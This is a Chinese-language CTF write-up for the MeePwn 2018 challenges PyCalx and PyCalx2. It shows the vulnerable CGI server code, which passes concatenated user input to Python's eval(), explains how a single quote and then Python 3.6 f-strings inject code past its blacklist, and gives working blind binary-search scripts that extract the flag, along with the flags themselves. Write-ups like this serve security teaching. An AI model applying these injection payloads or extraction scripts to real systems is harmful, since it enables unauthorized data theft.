Meepwn2018：PyCalx&PyCalx2——Python3的f-string与eval注入

PyCalx

This code is supposed to be unexploitable :/ another pyjail?
[Source]
Try this or this
Notice: The flag may contain non alphabetic characters (but still printable)

本题是由Python的 eval() 函数参数可控且直接拼接引发的注入，采用二分法盲注。

server.py源码如下：

#!/usr/bin/env python
import cgi
import sys
from html import escape

FLAG = open('/var/www/flag', 'r').read()
OK_200 = "some HTML code"
print(OK_200)
arguments = cgi.FieldStorage()

if 'source' in arguments:
    source = arguments['source'].value
else:
    source = 0

if source == '1':
    print('<pre>' + escape(str(open(__file__, 'r').read())) + '</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:

    def get_value(val):
        val = str(val)[:64]
        if str(val).isdigit(): return int(val)
        blacklist = ['(', ')', '[', ']', '\'',
                     '"']  # I don't like tuple, list and dict.
        if val == '' or [c for c in blacklist if c in val] != []:
            print('<center>Invalid value</center>')
            sys.exit(0)
        return val

    def get_op(val):
        val = str(val)[:2]
        list_ops = ['+', '-', '/', '*', '=', '!']
        if val == '' or val[0] not in list_ops:
            print('<center>Invalid op</center>')
            sys.exit(0)
        return val

    op = get_op(arguments['op'].value)
    value1 = get_value(arguments['value1'].value)
    value2 = get_value(arguments['value2'].value)
    if str(value1).isdigit() ^ str(value2).isdigit():
        print('<center>Types of the values don\'t match</center>')
        sys.exit(0)
    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
    print(
        '<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>'
    )
    print('>>>> print(' + escape(calc_eval) + ')')
    try:
        result = str(eval(calc_eval))
        if result.isdigit() or result == 'True' or result == 'False':
            print(result)
        else:
            print(
                "Invalid"
            )  # Sorry we don't support output as a string due to security issue.
    except:
        print("Invalid")
    print('>>> </pre></div></div></div>')

大意如下：

解题思路：op 允许两个字符，且第二个字符是任意的，那么如果是一个单引号，就能混淆代码和数据，起到类似SQL注入的效果。

>>> print(str(repr("a"))+str("+")+str(repr("b")))
'a'+'b'
>>> print(str(repr("a"))+str("+'")+str(repr("< b#")))
'a'+''< b#'

解题脚本：

import requests, re


def calc(v1, v2, op, s):
    u = "http://178.128.96.203/cgi-bin/server.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s)
    # print payload
    r = requests.get(u, params=payload)
    # print r.url
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    assert (res != 'Invalid')
    return res == 'True'
    # print r.content


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        # print lo, mid, hi, "\t",
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, v2, op, s = 'x', "+FLAG<value1+source#", "+'", ''

while (1):
    flag += chr(bin_search() - 1)
    print flag
# MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}

PyCalx2

You should solve PyCalx first.

http://206.189.223.3/cgi-bin/server.py?source=1

server.py 只改动了一行代码，将op = get_op(arguments['op'].value) 变成了 op = get_op(get_value(arguments['op'].value)) ，也就是说将op 参数也进行了黑名单过滤，于是 op 的第二个字符就不能是单引号，第一题的方法也就失效了。

结合题目提示和第一题的flag去寻找Python3.6的新特性，用到了这个 f-string ，详见PEP 498 -- Literal String Interpolation 。简言之就是可以在字符串中方便地直接插入表达式，以f 开头，表达式插在大括号{} 里，在运行时表达式会被计算并替换成对应的值。

本题主要是利用这个特性在字符串里插入比较的表达式，剩下的就和上题一样了。插法不尽相同：

>>> str(repr('T'))+str('+f')+str(repr('ru{FLAG<source or 14:x}')) # 14的十六进制表示时'e'
"'T'+f'ru{FLAG<source or 14:x}'"
>>> eval(str(repr('T'))+str('+f')+str(repr('ru{1 or 14:x}')))
'Tru1' # 返回Invalid
>>> eval(str(repr('T'))+str('+f')+str(repr('ru{0 or 14:x}')))
'True'

>>> str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{FLAG<source:1}.1}'))
"'Tru'+f'{sys.exit.__name__:{FLAG<source:1}.1}'"
# {FLAG<source:1}的值相当于printf("%1f",FLAG<source)的结果，有0和1两种可能。
#这边sys.exit.__name__等价于字符串'exit'，考虑到已经import escape，直接用escape.__name__也可。
>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{1:1}.1}')))
'True'
>>> eval(str(repr('Tru'))+str('+f')+str(repr('{sys.exit.__name__:{0:1}.1}')))
#报错，返回Invalid
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
ValueError: '=' alignment not allowed in string format specifier
>>>

解题脚本：

import requests, re


def calc(v1, v2, op, s):
    u = "http://206.189.223.3/cgi-bin/server.py?"
    payload = dict(value1=v1, value2=v2, op=op, source=s)
    r = requests.get(u, params=payload)
    res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>",
                     r.content)[0].split('\n')[1]
    return res == 'Invalid'


def check(mid):
    s = flag + chr(mid)
    return calc(v1, v2, op, s)


def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
    assert (lo >= 0)
    if hi == None: hi = len(seq)
    while lo < hi:
        mid = (lo + hi) // 2
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
    return seq[lo]


flag = ''
v1, op, v2, s = 'T', "+f", "ru{FLAG<source or 14:x}", 'a'

while (1):
    flag += chr(bin_search() - 1)
    print flag
# MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}

源链接

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